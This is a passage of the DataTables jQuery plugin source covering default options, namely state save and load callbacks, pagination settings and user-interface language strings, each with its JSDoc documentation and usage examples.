*\n\t\t *  @dtopt Callbacks\n\t\t *  @dtopt Server-side\n\t\t *  @name DataTable.defaults.serverParams\n\t\t *\n\t\t *  @deprecated 1.10. Please use `ajax` for this functionality now.\n\t\t */\n\t\t\"fnServerParams\": null,\n\t\n\t\n\t\t/**\n\t\t * Load the table state. With this function you can define from where, and how, the\n\t\t * state of a table is loaded. By default DataTables will load from `localStorage`\n\t\t * but you might wish to use a server-side database or cookies.\n\t\t *  @type function\n\t\t *  @member\n\t\t *  @param {object} settings DataTables settings object\n\t\t *  @return {object} The DataTables state object to be loaded\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.stateLoadCallback\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateSave\": true,\n\t\t *        \"stateLoadCallback\": function (settings) {\n\t\t *          var o;\n\t\t *\n\t\t *          // Send an Ajax request to the server to get the data. Note that\n\t\t *          // this is a synchronous request.\n\t\t *          $.ajax( {\n\t\t *            \"url\": \"/state_load\",\n\t\t *            \"async\": false,\n\t\t *            \"dataType\": \"json\",\n\t\t *            \"success\": function (json) {\n\t\t *              o = json;\n\t\t *            }\n\t\t *          } );\n\t\t *\n\t\t *          return o;\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnStateLoadCallback\": function ( settings ) {\n\t\t\ttry {\n\t\t\t\treturn JSON.parse(\n\t\t\t\t\tlocalStorage.getItem('DataTables_'+settings.sInstance+'_'+window.location.pathname)\n\t\t\t\t);\n\t\t\t} catch (e) {}\n\t\t},\n\t\n\t\n\t\t/**\n\t\t * Callback which allows modification of the saved state prior to loading that state.\n\t\t * This callback is called when the table is loading state from the stored data, but\n\t\t * prior to the settings object being modified by the saved state. Note that for\n\t\t * plug-in authors, you should use the `stateLoadParams` event to load parameters for\n\t\t * a plug-in.\n\t\t *  @type function\n\t\t *  @param {object} settings DataTables settings object\n\t\t *  @param {object} data The state object that is to be loaded\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.stateLoadParams\n\t\t *\n\t\t *  @example\n\t\t *    // Remove a saved filter, so filtering is never loaded\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateSave\": true,\n\t\t *        \"stateLoadParams\": function (settings, data) {\n\t\t *          data.oSearch.sSearch = \"\";\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Disallow state loading by returning false\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateSave\": true,\n\t\t *        \"stateLoadParams\": function (settings, data) {\n\t\t *          return false;\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnStateLoadParams\": null,\n\t\n\t\n\t\t/**\n\t\t * Callback that is called when the state has been loaded from the state saving method\n\t\t * and the DataTables settings object has been modified as a result of the loaded state.\n\t\t *  @type function\n\t\t *  @param {object} settings DataTables settings object\n\t\t *  @param {object} data The state object that was loaded\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.stateLoaded\n\t\t *\n\t\t *  @example\n\t\t *    // Show an alert with the filtering value that was saved\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateSave\": true,\n\t\t *        \"stateLoaded\": function (settings, data) {\n\t\t *          alert( 'Saved filter was: '+data.oSearch.sSearch );\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnStateLoaded\": null,\n\t\n\t\n\t\t/**\n\t\t * Save the table state. This function allows you to define where and how the state\n\t\t * information for the table is stored By default DataTables will use `localStorage`\n\t\t * but you might wish to use a server-side database or cookies.\n\t\t *  @type function\n\t\t *  @member\n\t\t *  @param {object} settings DataTables settings object\n\t\t *  @param {object} data The state object to be saved\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.stateSaveCallback\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateSave\": true,\n\t\t *        \"stateSaveCallback\": function (settings, data) {\n\t\t *          // Send an Ajax request to the server with the state object\n\t\t *          $.ajax( {\n\t\t *            \"url\": \"/state_save\",\n\t\t *            \"data\": data,\n\t\t *            \"dataType\": \"json\",\n\t\t *            \"method\": \"POST\"\n\t\t *            \"success\": function () {}\n\t\t *          } );\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnStateSaveCallback\": function ( settings, data ) {\n\t\t\ttry {\n\t\t\t\tlocalStorage.setItem(\n\t\t\t\t\t'DataTables_'+settings.sInstance+'_'+window.location.pathname,\n\t\t\t\t\tJSON.stringify(data)\n\t\t\t\t);\n\t\t\t} catch (e) {}\n\t\t},\n\t\n\t\n\t\t/**\n\t\t * Callback which allows modification of the state to be saved. Called when the table\n\t\t * has changed state a new state save is required. This method allows modification of\n\t\t * the state saving object prior to actually doing the save, including addition or\n\t\t * other state properties or modification. Note that for plug-in authors, you should\n\t\t * use the `stateSaveParams` event to save parameters for a plug-in.\n\t\t *  @type function\n\t\t *  @param {object} settings DataTables settings object\n\t\t *  @param {object} data The state object to be saved\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.stateSaveParams\n\t\t *\n\t\t *  @example\n\t\t *    // Remove a saved filter, so filtering is never saved\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateSave\": true,\n\t\t *        \"stateSaveParams\": function (settings, data) {\n\t\t *          data.oSearch.sSearch = \"\";\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnStateSaveParams\": null,\n\t\n\t\n\t\t/**\n\t\t * Duration for which the saved state information is considered valid. After this period\n\t\t * has elapsed the state will be returned to the default.\n\t\t * Value is given in seconds.\n\t\t *  @type int\n\t\t *  @default 7200 <i>(2 hours)</i>\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.stateDuration\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateDuration\": 60*60*24; // 1 day\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"iStateDuration\": 7200,\n\t\n\t\n\t\t/**\n\t\t * When enabled DataTables will not make a request to the server for the first\n\t\t * page draw - rather it will use the data already on the page (no sorting etc\n\t\t * will be applied to it), thus saving on an XHR at load time. `deferLoading`\n\t\t * is used to indicate that deferred loading is required, but it is also used\n\t\t * to tell DataTables how many records there are in the full table (allowing\n\t\t * the information element and pagination to be displayed correctly). In the case\n\t\t * where a filtering is applied to the table on initial load, this can be\n\t\t * indicated by giving the parameter as an array, where the first element is\n\t\t * the number of records available after filtering and the second element is the\n\t\t * number of records without filtering (allowing the table information element\n\t\t * to be shown correctly).\n\t\t *  @type int | array\n\t\t *  @default null\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.deferLoading\n\t\t *\n\t\t *  @example\n\t\t *    // 57 records available in the table, no filtering applied\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"serverSide\": true,\n\t\t *        \"ajax\": \"scripts/server_processing.php\",\n\t\t *        \"deferLoading\": 57\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // 57 records after filtering, 100 without filtering (an initial filter applied)\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"serverSide\": true,\n\t\t *        \"ajax\": \"scripts/server_processing.php\",\n\t\t *        \"deferLoading\": [ 57, 100 ],\n\t\t *        \"search\": {\n\t\t *          \"search\": \"my_filter\"\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"iDeferLoading\": null,\n\t\n\t\n\t\t/**\n\t\t * Number of rows to display on a single page when using pagination. If\n\t\t * feature enabled (`lengthChange`) then the end user will be able to override\n\t\t * this to a custom setting using a pop-up menu.\n\t\t *  @type int\n\t\t *  @default 10\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.pageLength\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"pageLength\": 50\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"iDisplayLength\": 10,\n\t\n\t\n\t\t/**\n\t\t * Define the starting point for data display when using DataTables with\n\t\t * pagination. Note that this parameter is the number of records, rather than\n\t\t * the page number, so if you have 10 records per page and want to start on\n\t\t * the third page, it should be \"20\".\n\t\t *  @type int\n\t\t *  @default 0\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.displayStart\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"displayStart\": 20\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"iDisplayStart\": 0,\n\t\n\t\n\t\t/**\n\t\t * By default DataTables allows keyboard navigation of the table (sorting, paging,\n\t\t * and filtering) by adding a `tabindex` attribute to the required elements. This\n\t\t * allows you to tab through the controls and press the enter key to activate them.\n\t\t * The tabindex is default 0, meaning that the tab follows the flow of the document.\n\t\t * You can overrule this using this parameter if you wish. Use a value of -1 to\n\t\t * disable built-in keyboard navigation.\n\t\t *  @type int\n\t\t *  @default 0\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.tabIndex\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"tabIndex\": 1\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"iTabIndex\": 0,\n\t\n\t\n\t\t/**\n\t\t * Classes that DataTables assigns to the various components and features\n\t\t * that it adds to the HTML table. This allows classes to be configured\n\t\t * during initialisation in addition to through the static\n\t\t * {@link DataTable.ext.oStdClasses} object).\n\t\t *  @namespace\n\t\t *  @name DataTable.defaults.classes\n\t\t */\n\t\t\"oClasses\": {},\n\t\n\t\n\t\t/**\n\t\t * All strings that DataTables uses in the user interface that it creates\n\t\t * are defined in this object, allowing you to modified them individually or\n\t\t * completely replace them all as required.\n\t\t *  @namespace\n\t\t *  @name DataTable.defaults.language\n\t\t */\n\t\t\"oLanguage\": {\n\t\t\t/**\n\t\t\t * Strings that are used for WAI-ARIA labels and controls only (these are not\n\t\t\t * actually visible on the page, but will be read by screenreaders, and thus\n\t\t\t * must be internationalised as well).\n\t\t\t *  @namespace\n\t\t\t *  @name DataTable.defaults.language.aria\n\t\t\t */\n\t\t\t\"oAria\": {\n\t\t\t\t/**\n\t\t\t\t * ARIA label that is added to the table headers when the column may be\n\t\t\t\t * sorted ascending by activing the column (click or return when focused).\n\t\t\t\t * Note that the column header is prefixed to this string.\n\t\t\t\t *  @type string\n\t\t\t\t *  @default : activate to sort column ascending\n\t\t\t\t *\n\t\t\t\t *  @dtopt Language\n\t\t\t\t *  @name DataTable.defaults.language.aria.sortAscending\n\t\t\t\t *\n\t\t\t\t *  @example\n\t\t\t\t *    $(document).ready( function() {\n\t\t\t\t *      $('#example').dataTable( {\n\t\t\t\t *        \"language\": {\n\t\t\t\t *          \"aria\": {\n\t\t\t\t *            \"sortAscending\": \" - click/return to sort ascending\"\n\t\t\t\t *          }\n\t\t\t\t *        }\n\t\t\t\t *      } );\n\t\t\t\t *    } );\n\t\t\t\t */\n\t\t\t\t\"sSortAscending\": \": activate to sort column ascending\",\n\t\n\t\t\t\t/**\n\t\t\t\t * ARIA label that is added to the table headers when the column may be\n\t\t\t\t * sorted descending by activing the column (click or return when focused).\n\t\t\t\t * Note that the column header is prefixed to this string.\n\t\t\t\t *  @type string\n\t\t\t\t *  @default : activate to sort column ascending\n\t\t\t\t *\n\t\t\t\t *  @dtopt Language\n\t\t\t\t *  @name DataTable.defaults.language.aria.sortDescending\n\t\t\t\t *\n\t\t\t\t *  @example\n\t\t\t\t *    $(document).ready( function() {\n\t\t\t\t *      $('#example').dataTable( {\n\t\t\t\t *        \"language\": {\n\t\t\t\t *          \"aria\": {\n\t\t\t\t *            \"sortDescending\": \" - click/return to sort descending\"\n\t\t\t\t *          }\n\t\t\t\t *        }\n\t\t\t\t *      } );\n\t\t\t\t *    } );\n\t\t\t\t */\n\t\t\t\t\"sSortDescending\": \": activate to sort column descending\"\n\t\t\t},\n\t\n\t\t\t/**\n\t\t\t * Pagination string used by DataTables for the built-in pagination\n\t\t\t * control types.\n\t\t\t *  @namespace\n\t\t\t *  @name DataTable.defaults.language.paginate\n\t\t\t */\n\t\t\t\"oPaginate\": {\n\t\t\t\t/**\n\t\t\t\t * Text to use when using the 'full_numbers' type of pagination for the\n\t\t\t\t * button to take the user to the first page.\n\t\t\t\t *  @type string\n\t\t\t\t *  @default First\n\t\t\t\t *\n\t\t\t\t *  @dtopt Language\n\t\t\t\t *  @name DataTable.defaults.language.paginate.first\n\t\t\t\t *\n\t\t\t\t *  @example\n\t\t\t\t *    $(document).ready( function() {\n\t\t\t\t *      $('#example').dataTable( {\n\t\t\t\t *        \"language\": {\n\t\t\t\t *          \"paginate\": {\n\t\t\t\t *            \"first\": \"First page\"\n\t\t\t\t *          }\n\t\t\t\t *        }\n\t\t\t\t *      } );\n\t\t\t\t *    } );\n\t\t\t\t */\n\t\t\t\t\"sFirst\": \"First\",\n\t\n\t\n\t\t\t\t/**\n\t\t\t\t * Text to use when using the 'full_numbers' type of pagination for the\n\t\t\t\t * button to take the user to the last page.\n\t\t\t\t *  @type string\n\t\t\t\t *  @default Last\n\t\t\t\t *\n\t\t\t\t *  @dtopt Language\n\t\t\t\t *  @name DataTable.defaults.language.paginate.last\n\t\t\t\t *\n\t\t\t\t *  @example\n\t\t\t\t *    $(document).ready( function() {\n\t\t\t\t *      $('#example').dataTable( {\n\t\t\t\t *        \"language\": {\n\t\t\t\t *          \"paginate\": {\n\t\t\t\t *            \"last\": \"Last page\"\n\t\t\t\t *          }\n\t\t\t\t *        }\n\t\t\t\t *      } );\n\t\t\t\t *    } );\n\t\t\t\t */\n\t\t\t\t\"sLast\": \"Last\",\n\t\n\t\n\t\t\t\t/**\n\t\t\t\t * Text to use for the 'next' pagination button (to take the user to the\n\t\t\t\t * next page).\n\t\t\t\t *  @type string\n\t\t\t\t *  @default Next\n\t\t\t\t *\n\t\t\t\t *  @dtopt Language\n\t\t\t\t *  @name DataTable.defaults.language.paginate.next\n\t\t\t\t *\n\t\t\t\t *  @example\n\t\t\t\t *    $(document).ready( function() {\n\t\t\t\t *      $('#example').dataTable( {\n\t\t\t\t *        \"language\": {\n\t\t\t\t *          \"paginate\": {\n\t\t\t\t *            \"next\": \"Next page\"\n\t\t\t\t *          }\n\t\t\t\t *        }\n\t\t\t\t *      } );\n\t\t\t\t *    } );\n\t\t\t\t */\n\t\t\t\t\"sNext\": \"Next\",\n\t\n\t\n\t\t\t\t/**\n\t\t\t\t * Text to use for the 'previous' pagination button (to take the user to\n\t\t\t\t * the previous page).\n\t\t\t\t *  @type string\n\t\t\t\t *  @default Previous\n\t\t\t\t *\n\t\t\t\t *  @dtopt Language\n\t\t\t\t *  @name DataTable.defaults.language.paginate.previous\n\t\t\t\t *\n\t\t\t\t *  @example\n\t\t\t\t *    $(document).ready( function() {\n\t\t\t\t *      $('#example').dataTable( {\n\t\t\t\t *        \"language\": {\n\t\t\t\t *          \"paginate\": {\n\t\t\t\t *            \"previous\": \"Previous page\"\n\t\t\t\t *          }\n\t\t\t\t *        }\n\t\t\t\t *      } );\n\t\t\t\t *    } );\n\t\t\t\t */\n\t\t\t\t\"sPrevious\": \"Previous\"\n\t\t\t},\n\t\n\t\t\t/**\n\t\t\t * This string is shown in preference to `zeroRecords` when the table is\n\t\t\t * empty of data (regardless of filtering). Note that this is an optional\n\t\t\t * parameter - if it is not given, the value of `zeroRecords` will be used\n\t\t\t * instead (either the default or given value).\n\t\t\t *  @type string\n\t\t\t *  @default No data available in table\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.emptyTable\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"emptyTable\": \"No data available in table\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sEmptyTable\": \"No data available in table\",\n\t\n\t\n\t\t\t/**\n\t\t\t * This string gives information to the end user about the information\n\t\t\t * that is current on display on the page. The following tokens can be\n\t\t\t * used in the string and will be dynamically replaced as the table\n\t\t\t * display updates. This tokens can be placed anywhere in the string, or\n\t\t\t * removed as needed by the language requires:\n\t\t\t *\n\t\t\t * * `\\_START\\_` - Display index of the first record on the current page\n\t\t\t * * `\\_END\\_` - Display index of the last record on the current page\n\t\t\t * * `\\_TOTAL\\_` - Number of records in the table after filtering\n\t\t\t * * `\\_MAX\\_` - Number of records in the table without filtering\n\t\t\t * * `\\_PAGE\\_` - Current page number\n\t\t\t * * `\\_PAGES\\_` - Total number of pages of data in the table\n\t\t\t *\n\t\t\t *  @type string\n\t\t\t *  @default Showing _START_ to _END_ of _TOTAL_ entries\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.info\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"info\": \"Showing page _PAGE_ of _PAGES_\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sInfo\": \"Showing _START_ to _END_ of _TOTAL_ entries\",\n\t\n\t\n\t\t\t/**\n\t\t\t * Display information string for when the table is empty. Typically the\n\t\t\t * format of this string should match `info`.\n\t\t\t *  @type string\n\t\t\t *  @default Showing 0 to 0 of 0 entries\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.infoEmpty\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"infoEmpty\": \"No entries to show\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sInfoEmpty\": \"Showing 0 to 0 of 0 entries\",\n\t\n\t\n\t\t\t/**\n\t\t\t * When a user filters the information in a table, this string is appended\n\t\t\t * to the information (`info`) to give an idea of how strong the filtering\n\t\t\t * is. The variable _MAX_ is dynamically updated.\n\t\t\t *  @type string\n\t\t\t *  @default (filtered from _MAX_ total entries)\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.infoFiltered\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"infoFiltered\": \" - filtering from _MAX_ records\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sInfoFiltered\": \"(filtered from _MAX_ total entries)\",\n\t\n\t\n\t\t\t/**\n\t\t\t * If can be useful to append extra information to the info string at times,\n\t\t\t * and this variable does exactly that. This information will be appended to\n\t\t\t * the `info` (`infoEmpty` and `infoFiltered` in whatever combination they are\n\t\t\t * being used) at all times.\n\t\t\t *  @type string\n\t\t\t *  @default <i>Empty string</i>\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.infoPostFix\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"infoPostFix\": \"All records shown are derived from real information.\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sInfoPostFix\": \"\",\n\t\n\t\n\t\t\t/**\n\t\t\t * DataTables has a build in number formatter (`formatNumber`) which is used\n\t\t\t * to format large numbers that are used in the table information. By\n\t\t\t * default a comma is used, but this can be trivially changed to any\n\t\t\t * character you wish with this parameter.\n\t\t\t *  @type string\n\t\t\t *  @default ,\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.infoThousands\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"infoThousands\": \"'\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sInfoThousands\": \",\",\n\t\n\t\n\t\t\t/**\n\t\t\t * Detail the action that will be taken when the drop down menu for the\n\t\t\t * pagination length option is changed. The '_MENU_' variable is replaced\n\t\t\t * with a default select list of 10, 25, 50 and 100, and can be replaced\n\t\t\t * with a custom select box if required.\n\t\t\t *  @type string\n\t\t\t *  @default Show _MENU_ entries\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.lengthMenu\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    // Language change only\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"lengthMenu\": \"Display _MENU_ records\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    // Language and options change\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"lengthMenu\": 'Display <select>'+\n\t\t\t *            '<option value=\"10\">10</option>'+\n\t\t\t *            '<option value=\"20\">20</option>'+\n\t\t\t *            '<option value=\"30\">30</option>'+\n\t\t\t *            '<option value=\"40\">40</option>'+\n\t\t\t *            '<option value=\"50\">50</option>'+\n\t\t\t *            '<option value=\"-1\">All</option>'+\n\t\t\t *            '</select> records'\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sLengthMenu\": \"Show _MENU_ entries\",\n\t\n\t\n\t\t\t/**\n\t\t\t * When using Ajax sourced data and during the first draw when DataTables is\n\t\t\t * gathering the data, this message is shown in an empty row in the table to\n\t\t\t * indicate to the end user the the data is being loaded. Note that this\n\t\t\t * parameter is not used when loading data by server-side processing, just\n\t\t\t * Ajax sourced data with client-side processing.\n\t\t\t *  @type string\n\t\t\t *  @default Loading...\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.loadingRecords\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"loadingRecords\": \"Please wait - loading...\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sLoadingRecords\": \"Loading...\",\n\t\n\t\n\t\t\t/**\n\t\t\t * Text which is displayed when the table is processing a user action\n\t\t\t * (usually a sort command or similar).\n\t\t\t *  @type string\n\t\t\t *  @default Processing...\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.processing\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"processing\": \"DataTables is currently busy\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sProcessing\": \"Processing...\",\n\t\n\t\n\t\t\t/**\n\t\t\t * Details the actions that will be taken when the user types into the\n\t\t\t * filtering input text box. The variable \"_INPUT_\", if used in the string,\n\t\t\t * is replaced with the HTML text box for the filtering input allowing\n\t\t\t * control over where it appears in the string. If \"_INPUT_\" is not given\n\t\t\t * then the input box is appended to the string automatically.\n\t\t\t *  @type string\n\t\t\t *  @default Search:\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.search\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    // Input text box will be appended at the end automatically\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"search\": \"Filter records:\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    // Specify where the filter should appear\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"search\": \"Apply filter _INPUT_ to table\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sSearch\": \"Search:\",\n\t\n\t\n\t\t\t/**\n\t\t\t * All of the language information can be stored in a file on the\n\t\t\t * server-side, which DataTables will look up if this parameter is passed.\n\t\t\t * It must store the URL of the language file, which is in a JSON format,\n\t\t\t * and the object has the same properties as the oLanguage object in the\n\t\t\t * initialiser object (i.e. the above parameters). Please refer to one of\n\t\t\t * the example language files to see how this works in action.\n\t\t\t *  @type string\n\t\t\t *  @default <i>Empty string - i.e. disabled</i>\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.url\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"url\": \"http://www.sprymedia.co.uk/dataTables/lang.txt\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sUrl\": \"\",\n\t\n\t\n\t\t\t/**\n\t\t\t * Text shown inside the table records when the is no information to be\n\t\t\t * displayed after filtering. `emptyTable` is shown when there is simply no\n\t\t\t * information in the table at all (regardless of filtering).\n\t\t\t *  @type string\n\t\t\t *  @default No matching records found\n\t\t\t *\n\t\t\t *  @dtopt Language\n\t\t\t *  @name DataTable.defaults.language.zeroRecords\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $(document).ready( function() {\n\t\t\t *      $('#example').dataTable( {\n\t\t\t *        \"language\": {\n\t\t\t *          \"zeroRecords\": \"No records to display\"\n\t\t\t *        }\n\t\t\t *      } );\n\t\t\t *    } );\n\t\t\t */\n\t\t\t\"sZeroRecords\": \"No matching records found\"\n\t\t},\n\t\n\t\n\t\t/**\n\t\t * This parameter allows you to have define the global filtering state at\n\t\t * initialisation time. As an object the `search` parameter must be\n\t\t * defined, but all other parameters are optional. When `regex` is true,\n\t\t * the search string will be treated as a regular expression, when false\n\t\t * (default) it will be treated as a straight string. When `smart`\n\t\t * DataTables will use it's smart filtering methods (to word match at\n\t\t * any point in the data), when false this will not be done.\n\t\t *  @namespace\n\t\t *  @extends DataTable.models.oSearch\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.search\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"search\": {\"search\": \"Initial search\"}\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"oSearch\": $.extend( {}, DataTable.models.oSearch ),\n\t\n\t\n\t\t/**\n\t\t * __Deprecated__ The functionality provided by this parameter has now been\n\t\t * superseded by that provided through `ajax`, which should be used instead.\n\t\t *\n\t\t * By default DataTables will look for the property `data` (or `aaData` for\n\t\t * compatibility with DataTables 1.9-) when obtaining data from an Ajax\n\t\t * source or for server-side processing - this parameter allows that\n\t\t * property to be changed. You can use Javascript dotted object notation to\n\t\t * get a data source for multiple levels of nesting.\n\t\t *  @type string\n\t\t *  @default data\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @dtopt Server-side\n\t\t *  @name DataTable.defaults.ajaxDataProp\n\t\t *\n\t\t *  @deprecated 1.10. Please use `ajax` for this functionality now.\n\t\t */\n\t\t\"sAjaxDataProp\": \"data\",\n\t\n\t\n\t\t/**\n\t\t * __Deprecated__ The functionality provided by this parameter has now been\n\t\t * superseded by that provided through `ajax`, which should be used instead.\n\t\t *\n\t\t * You can instruct DataTables to load data from an external\n\t\t * source using this parameter (use aData if you want to pass data in you\n\t\t * already have). Simply provide a url a JSON object can be obtained from.\n\t\t *  @type string\n\t\t *  @default null\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @dtopt Server-side\n\t\t *  @name DataTable.defaults.ajaxSource\n\t\t *\n\t\t *  @deprecated 1.10. Please use `ajax` for this functionality now.\n\t\t */\n\t\t\"sAjaxSource\": null,\n\t\n\t\n\t\t/**\n\t\t * This initialisation variable allows you to specify exactly where in the\n\t\t * DOM you want DataTables to inject the various controls it adds to the page\n\t\t * (for example you might want the pagination controls at the top of the\n\t\t * table). DIV elements (with or without a custom class) can also be added to\n\t\t * aid styling. The follow syntax is used:\n\t\t *   <ul>\n\t\t *     <li>The following options are allowed:\n\t\t *       <ul>\n\t\t *         <li>'l' - Length changing</li>\n\t\t *         <li>'f' - Filtering input</li>\n\t\t *         <li>'t' - The table!</li>\n\t\t *         <li>'i' - Information</li>\n\t\t *         <li>'p' - Pagination</li>\n\t\t *         <li>'r' - pRocessing</li>\n\t\t *       </ul>\n\t\t *     </li>\n\t\t *     <li>The following constants are allowed:\n\t\t *       <ul>\n\t\t *         <li>'H' - jQueryUI theme \"header\" classes ('fg-toolbar ui-widget-header ui-corner-tl ui-corner-tr ui-helper-clearfix')</li>\n\t\t 